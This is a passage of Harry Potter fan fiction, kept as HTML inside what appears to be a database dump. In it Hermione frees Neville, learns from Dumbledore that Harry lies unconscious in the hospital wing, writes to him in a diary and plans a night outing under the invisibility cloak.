class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Snape, trying to save Harry?&#8221; Ron scoffed at the thought.\n&#8220;Hermione you&#8217;re losing it.&nbsp; I don&#8217;t care\nwhat Dumbledore says, I know it&#8217;s got to be Sna&#8230;&#8221; his\nvoice trailed off because strolling right towards them was none other than\nProfessor Snape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Granger, Mr.\nWeasley,&#8221; Snape hissed. &#8220;I thought I made it clear this afternoon that if I\ncaught you out of bed again, you&#8217;d be expelled but you obviously think you&#8217;re\nabove the rules.&nbsp; I suppose Potter is\nsneaking around here too.&nbsp; When the\nheadmaster hears about this&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor\nDumbledore already knows we&#8217;re out of bed.&nbsp;\nIn fact he&#8217;s probably with Harry right now.&#8221; Hermione informed him\nmatter-of-factly and with a bit of disdain in her voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Snape\nlooked angry and surprised all at the same time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, he&#8217;s gone\ndown the trap door in the third floor corridor to stop Quirrell and &#8216;you know\nwho&#8217; from stealing the Sorcerer&#8217;s Stone.&nbsp;\nIf you hurry you might be able to catch up with him.&#8221;&nbsp; Hermione continued past the stupefied\nprofessor, dragging an equally shocked Ron with her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Hermione!&#8221; Ron hissed finally, when they were out of\nearshot of Snape. &#8220;I can&#8217;t believe you just did that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Even if he\nwasn&#8217;t the one trying to steal the stone or kill Harry, I still can&#8217;t stand\nhim.&#8221; Hermione said scowling. &#8220;Come on; let&#8217;s hurry up and get to the\ntower.&nbsp; I just remembered something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Ron\nasked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 18, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Harry&#8217;s in the hospital and for two days\nHermione is worried sick about him.&nbsp; She\ndoesn&#8217;t know what to do at first but then she grabs at a desperate idea.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fulocus\nReturnus,&#8221; Hermione said with a wave of her wand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville&#8217;s body\nsprung back to life. &#8220;Oh thank heavens,&#8221; he said as he sat up, massaging his\narms and legs. &#8220;I thought I&#8217;d be here all night.&nbsp; I was scared out of my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m so sorry\nNeville,&#8221; Hermione said as she and Ron helped him up and walked him over to one\nof the plush armchairs beside the fireplace. &#8220;I hope you&#8217;re alright.&#8221; She\npointed her wand at the dying fire, muttered a few words and it sprung back to\nlife.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fine,&#8221;\nNeville said as he stretched in the chair. &#8220;Why did you do that to me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We had to,&#8221; Ron\nexplained. &#8220;We had to go out tonight and we didn&#8217;t want you getting involved\nlike last time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was very\ndangerous,&#8221; Hermione added.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dangerous?&nbsp; What, did you go back to the Forbidden\nForest?&#8221; &nbsp;He looked back and forth from\none strained face to the other.&nbsp; &#8220;Wait a\nminute; where&#8217;s Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a long\nstory,&#8221; Ron sighed, disheartened.&nbsp; &#8220;And\nvery confusing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I&#8217;m not\ngoing back to sleep, not after this, so tell me,&#8221; Neville said stoically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;&#8221; Ron\nprompted.&nbsp; He obviously didn&#8217;t want to\ntell the story himself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She let out a\nhuff. &#8220;Oh alright,&#8221; and she launched into the explanation of the whole story,\nstarting with Halloween and ending with their trip down the trap door and\neverything Dumbledore had told them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It took her twenty\nminutes of almost nonstop talking to explain everything.&nbsp; Neville sat with his mouth half opened in\nshock the entire time as he listened.&nbsp; He\ndidn&#8217;t move; he barely even blinked.&nbsp;\nWhen Hermione finally finished, Neville just slid backwards in his\nchair.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Incredible,&#8221; he\nsaid in barely more than a whisper. &#8220;And you mean to say that right now as we\nspeak, Harry is facing off with &#8216;you know who&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now do you\nunderstand why we had to go?&#8221; Ron asked. &#8220;We couldn&#8217;t let &#8216;you know who&#8217; get a\nhold of something like the Sorcerer&#8217;s Stone.&nbsp;\nHe&#8217;d have come back and killed us all!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who&#8217;s to say he\nwon&#8217;t still come back,&#8221; Neville shuddered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dumbledore&#8217;ll\nstop him, Neville,&#8221; Ron assured.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No&#8230;&#8221; Hermione\nsaid suddenly. &#8220;Harry will stop him.&nbsp;&nbsp; I\njust know he will.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Ron\ndidn&#8217;t go up to their separate dormitories after Neville left.&nbsp; They stayed in the common room waiting for\nHarry to return.&nbsp; After a couple of\nhours, Ron drifted off to sleep in one of the armchairs.&nbsp; Hermione, however, couldn&#8217;t sleep.&nbsp; She paced back and forth across the common\nroom, absentmindedly shooting sparks from her wand and muttering to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally, around 3\nAM, the portrait door swung open.&nbsp;\nHermione jumped excitedly but it wasn&#8217;t Harry who entered, it was\nProfessor McGonagall in a dressing gown and hairnet.&nbsp; She climbed somewhat awkwardly into the\ncommon room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Granger,&#8221;\nshe started, straitening her hairnet. &#8220;I see that you&#8217;re still awake and I can\nunderstand why.&nbsp; Professor Dumbledore\nasked me to check on you and Mr. Weasley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about\nHarry,&#8221; Hermione asked immediately. &#8220;Where is he; is he okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Professor\nMcGonagall seemed to be choosing her words carefully. &#8220;He&#8217;s in the hospital\nwing.&nbsp; We&#8217;re not sure if&#8230;&#8221; She stopped\nherself. &#8220;I need for you to come with me.&nbsp;\nThe headmaster wanted to have a word with you if you were still awake.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about Ron,&#8221;\nHermione asked pointing at Ron who was now drooling on the arm of the chair.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let him rest.&#8221;\nMcGonagall said, ushering her towards the portrait.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione climbed\nthrough the hole and started down the corridor quietly.&nbsp; Professor McGonagall followed close behind.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor\nDumbledore told me what has happened tonight,&#8221; she told Hermione as they\nwalked. &#8220;You three were very reckless, going down that trap door when you knew\nwhat kind of dangers you would be facing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione couldn&#8217;t\nbelieve that McGonagall was going to scold her, not after all they had gone\nthrough.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;However,&#8221; she\ncontinued. &#8220;I daresay that if I had only listened to you when you tried to tell\nme earlier this afternoon, none of this would have happened and Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned\nand she saw that her normally stern-faced professor actually looked like she\nhad a tear in her eye.&nbsp; &#8220;Professor, what\nhappened to Harry?&nbsp; Is he okay?&#8221; she\npressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not entirely\nsure myself,&#8221; McGonagall admitted. &#8220;Professor Dumbledore is in the best\nposition to explain things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They continued in\nsilence until they reached her office.&nbsp;\nProfessor Dumbledore was sitting behind the desk with a solemn look on\nhis face.&nbsp; Hermione began fearing the\nworst.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor, what\nhappened?&nbsp; Is Harry going to be alright?&#8221;\nshe asked before she&#8217;d even made it completely in the office.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore leaned\nforward in the chair. &#8220;Harry is in the hospital wing, unconscious.&nbsp; It&#8217;s lucky I got to him when I did.&nbsp; He suffered severe injuries from Quirrell and\nVoldemort and we don&#8217;t know when he will recover from them.&nbsp; Madam Pomfrey has done everything she can for\nhim.&nbsp; Now all we can do is wait.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione dropped\nin a nearby chair, numb with shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, did\nyou and Ron go down into the underground chambers with Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded,\nstill numb. &#8220;Yes sir; all three of us went together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I see, but you\ndidn&#8217;t all make it into the final chamber where the stone was?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No sir,&#8221;\nHermione confirmed and she began to tell the story of what had happened that\nnight, how they had gotten by the various obstacles, and even how they had to\nincapacitate Neville before they left.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She told how they\nfound out how to get past Fluffy and what happened when they landed in the\ndevil&#8217;s snare.&nbsp; She described Harry&#8217;s\nspectacular capture of the flying key and Ron&#8217;s sacrifice on the transfigured\nchessboard.&nbsp; Then she explained how she\ndeciphered the riddle in the room of potions and how there was only enough\npotion for one of them to go forward.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry told me to\ngo back.&nbsp; I didn&#8217;t want to but he&#8217;d made\nup his mind and&#8230;&#8221; Hermione felt herself tearing up. &#8220;If only I had stayed with\nhim.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do not blame\nyourself Hermione,&#8221; Dumbledore said soothingly. &#8220;Harry had made up his mind\nlong before today that he wanted to face Voldemort.&nbsp; This was something he <i style="mso-bidi-font-style:\nnormal">wanted</i> to do alone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to\nunderstand what Dumbledore was saying but she just couldn&#8217;t wrap her mind\naround it.&nbsp; Perhaps she was just too\ntired, or perhaps she just didn&#8217;t believe Harry would want to face Voldemort\nhead on.&nbsp; It was practically suicide. &#8220;Can\nI see him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ms. Granger,&#8221;\nProfessor McGonagall spoke from behind her. &#8220;He&#8217;s in a coma and there&#8217;s nothing\nyou can&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I <i style="mso-bidi-font-style:normal">want</i> to see him,&#8221; Hermione insisted as\nshe stood to face the transfiguration teacher.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Minerva, please\nescort Hermione to the hospital wing,&#8221; Professor Dumbledore said calmly.&nbsp; &#8220;Then back to Gryffindor Tower,&#8221; he added.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; McGonagall nodded\nand guided Hermione out the door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221;\nProfessor Dumbledore called. &#8220;I&#8217;m very proud of all of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded.\n&#8220;Thank you, sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They started down\nthe hall.&nbsp; &#8220;Are you okay, dear,&#8221;\nMcGonagall asked tentatively.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fine.&nbsp; Professor Dumbledore seems so calm about\neverything.&nbsp; Isn&#8217;t he worried about\nHarry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course he\nis,&#8221; she answered shrilly. &#8220;However, the headmaster knows what he is talking\nabout.&nbsp; If he is calm, then it&#8217;s for good\nreason.&nbsp; He knows everything will be\nokay.&nbsp; I&#8217;ve learned to trust him on these\nmatters&#8230; and so should you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It only took them\na few minutes to walk silently to the hospital wing.&nbsp; Madam Pomfrey was no where to be found.&nbsp; Hermione completely dissolved into tears when\nshe saw Harry lying unconscious.&nbsp; She\nslowly made her way to the side of his bed and touched his head.&nbsp; It felt hot, almost burning, as if his skin\nwas on fire.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry&#8230;&#8221;\nHermione said through tears. &#8220;I&#8217;m so sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few\nminutes Professor McGonagall guided Hermione back to Gryffindor Tower.&nbsp; She could barely walk for being exhausted and\novercome with emotion.&nbsp; After McGonagall\nhelped her through the portrait entrance, Hermione stumbled up to her dorm,\nvaguely noticing that Ron had left the common room.&nbsp;&nbsp; She collapsed in her bed, fully clothed and\ndespite Lavender&#8217;s snores, fell straight into a deep sleep.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;\nHermione wake up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes\nslowly opened as the sound of Parvati&#8217;s nagging voice invaded her ears. &#8220;What&#8217;s\nthe matter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve been\nasleep all morning.&nbsp; You&#8217;ve missed\nbreakfast and lunch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pushed\nherself up.&nbsp; She realized she was still\nwearing the same clothes from the previous night.&nbsp; Her hair was a tangled mess and she felt\ncompletely grimy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ugh, what time\nis it,&#8221; she asked groggily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a little\nafter 2,&#8221; Parvati informed her.&nbsp; Lavender\nwas just behind her, sitting silently on the next bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait a minute,&#8221;\nHermione said suddenly waking fully. &#8220;You&#8217;re talking to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neither of her\nroommates had said a word to her since the night she, Harry, and Neville had\nlost 150 points from Gryffindor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nkidding?&#8221; Parvati said with a huge grin. &#8220;Of course we&#8217;re talking to you.&nbsp; After everything that happened last\nnight.&nbsp; Do you know the whole school is\ntalking about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes.&nbsp; It had barely been a half-day\nand already the entire school knew what had happened.&nbsp; Now she, Harry, and Ron were famous again;\nloved by the whole school.&nbsp; Only\nyesterday no one would speak to her unless it was to hurl insults, now they would\nprobably act like none of it even happened.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what really\nhappened?&#8221; Lavender was quizzing her now. &#8220;Did you see &#8216;you know who&#8217;?&nbsp; Is there really a giant, three-headed dog in\nthe castle?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nat the two of them for a moment. <i style="mso-bidi-font-style:normal">&#8220;I can&#8217;t\nbelieve them.&nbsp; They don&#8217;t talk to me for\nweeks, and now I&#8217;m just supposed to be best mates with them.&nbsp; All they care about is getting the details\nabout what happened last night.&nbsp; They\ndon&#8217;t care that Harry&#8217;s lying unconscious in the hospital wing.&nbsp; It&#8217;s just like when he was almost killed at\nthe quidditch match.&nbsp; Everyone celebrates\nwhen he does something amazing but forgets all the sacrifices he makes in the\nprocess.&nbsp; Then when he makes a mistake,\nthey abandon him.&nbsp; It makes me so sick!&#8221;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Hermione,&#8221; Parvati pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione reached\ninto her trunk to grab a towel and her toiletries. &#8220;I need a good soak,&#8221; she\nsaid flatly.&nbsp; She headed for the bathroom\nwithout another word.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s really out\nof it?&#8221; Lavender mused.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well you would\nbe too if you&#8217;d just faced &#8216;you know who&#8217; and lived,&#8221; Parvati reasoned. &#8220;Still\nI wish she told us what happened.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy,&#8221; Ron called\nhalfheartedly as Hermione entered the common room, &#8220;I see you&#8217;re up.&#8221; He did a\nslight double take.&nbsp; Hermione&#8217;s hair was\nstill wet and it still looked like a tangled mess.&nbsp; She hadn&#8217;t bothered trying to tame it. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You look like a\nwet cat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,&#8221;\nHermione said grumpily as she plopped down in the seat next to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Have you heard\nabout Harry,&#8221; Ron asked her immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I went to see\nhim last night.&nbsp; Is he out of the\nhospital yet?&#8221; she asked hopefully.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Ron shook\nhis head. &#8220;You went to see him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;McGonagall took\nme last night after you feel asleep.&nbsp;\nHave you seen him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his\nhead again. &#8220;No, Madam Pomfrey won&#8217;t let anyone in the hospital wing.&nbsp; No one can go visit him.&nbsp; I saw people bringing flowers and stuff their\nthough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Like they even\ncare,&#8221; Hermione muttered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s that\nsupposed to mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yesterday no one\nwould even speak to him; now everyone&#8217;s acting like they&#8217;ve lost their best\nfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shrugged. &#8220;I\ntold you people would forget about you guys losing all those points.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah and it only\ntook Harry unconscious in the hospital wing to do it,&#8221; Hermione said\nspitefully.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It doesn&#8217;t\nmatter.&nbsp; Like you told me before, Harry\nknows who his real friends are,&#8221; Ron reminded her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah you&#8217;re\nright.&nbsp; It just makes me sick,&#8221; she\nsighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender and\nParvati were descending the stairs now, bright smiles on their faces.&nbsp; When they spotted Hermione, Lavender\nwhispered something into Parvati&#8217;s ear and they both started casually in her\ndirection.&nbsp; Hermione stood.&nbsp; She didn&#8217;t want to talk to them; she just\nwasn&#8217;t in the mood.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are you\noff to now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anywhere but\nhere.&#8221; She headed strait for the portrait door without a backwards glance and made\nher way through to the corridor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked\ndown the hallway and turned at the nearest corner.&nbsp; She&#8217;d decided that there was no point to restricting\nherself from the ramparts anymore so she made her way down the next corridor and\nkicked the shin on the stone statue.&nbsp; The\nfamiliar secret passage opened up behind it.&nbsp;\nA few minutes later, Hermione found herself on the ramparts of the\ncastle, under the bright afternoon sun.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pulled a\nsmall book out of her robe pocket.&nbsp; It\nwas the diary Harry had given her for Christmas.&nbsp; Pulling out a quill and ink bottle, Hermione\nmade herself comfortable before opening the book with her wand and signing the\npassword on the last page.&nbsp; She found a\nblank page and started writing.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Dear Harry,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">I can&#8217;t believe you&#8217;re lying there in\nthe hospital wing and there&#8217;s nothing I can do about it.&nbsp; I wish there was some way I could help you.&nbsp; I feel so lost right now and I don&#8217;t know\nwhat to do.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Deep down I know things will turn out\nokay.&nbsp; I don&#8217;t know how I know but I can\ntell you&#8217;ll pull through this alright.&nbsp; I\nguess what&#8217;s really bothering me is once again I can&#8217;t help you.&nbsp; For all my cleverness and skill with charms\nand potions, there&#8217;s nothing I can do to help you.&nbsp; I feel so powerless right now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\npaused.&nbsp; It had taken her writing the\nwords to finally realize what she was really upset about.&nbsp; She hated feeling like she couldn&#8217;t do\nsomething.&nbsp; After all, she was a Granger;\nwasn&#8217;t she supposed to be able to do anything?&nbsp;\nShe pressed her quill to the paper again.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Shouldn&#8217;t I have been able to help you\nwhen the time came?&nbsp; I could have figured\nout a way for both of us to go forward.&nbsp;\nWhy didn&#8217;t I?&nbsp; Why did I let you\ngo alone?&nbsp; Why did I turn my back on you\nwhen you needed me the most?&nbsp; Now it&#8217;s too\nlate.&nbsp; I feel like I&#8217;ve failed you as a\nfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly,\nHermione recalled the words Dumbledore had said to her months ago. <i style="mso-bidi-font-style:normal">&#8220;He needs someone, a true friend, to be\nthere for him.&nbsp; Only that can really help\nhim. Perhaps you can be that friend&#8230;&#8221;</i> </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She shut the\ndiary, knowing what she needed to do, both for Harry and her own peace of mind.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione avoided\nher roommates, Ron, and pretty much every other student for the rest of the\nday.&nbsp; She just couldn&#8217;t stand everyone&#8217;s\nupbeat attitude about the whole thing.&nbsp;\nEven Ron was being nonchalant.&nbsp;\nShe suspected that he was just putting on a brave face and that he\nreally was just as torn up about it as she was, but it still annoyed her that\nhe couldn&#8217;t just act the way he felt.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They didn&#8217;t have\nclasses or exams so Hermione was free to stay outdoors or up on the ramparts\nwhere no one could see her.&nbsp; She only\nwent to dinner when the dinning hall was relatively empty.&nbsp; When night fell, Hermione waited in a quiet\ncorner of the common room for it to empty out.&nbsp;\nIt was well past midnight before everyone went to bed but she didn&#8217;t\ncare.&nbsp; The later the better for what she\nhad planned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Once everyone was\ngone, Hermione ventured up to her dormitory.&nbsp;\nShe quickly dug through her trunk amidst the loud snores of Lavender and\nfound Harry&#8217;s invisibility cloak.&nbsp; She\ntucked it into her robe pocket and rushed back down to the common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Going out again,\nI see,&#8221; came a voice across the way.&nbsp; Not\nsurprisingly it was Neville. &#8220;I had a feeling you might when I saw the way you\nwere sitting to yourself this evening.&#8221; He held out his hands when he saw\nHermione fingering her wand. &#8220;Don&#8217;t worry.&nbsp;\nI&#8217;m not trying to stop you or anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione relaxed.\n&#8220;Well what are you doing here then?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just wanted to\nsee if you were alright.&nbsp; You seemed a\nbit off today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well of 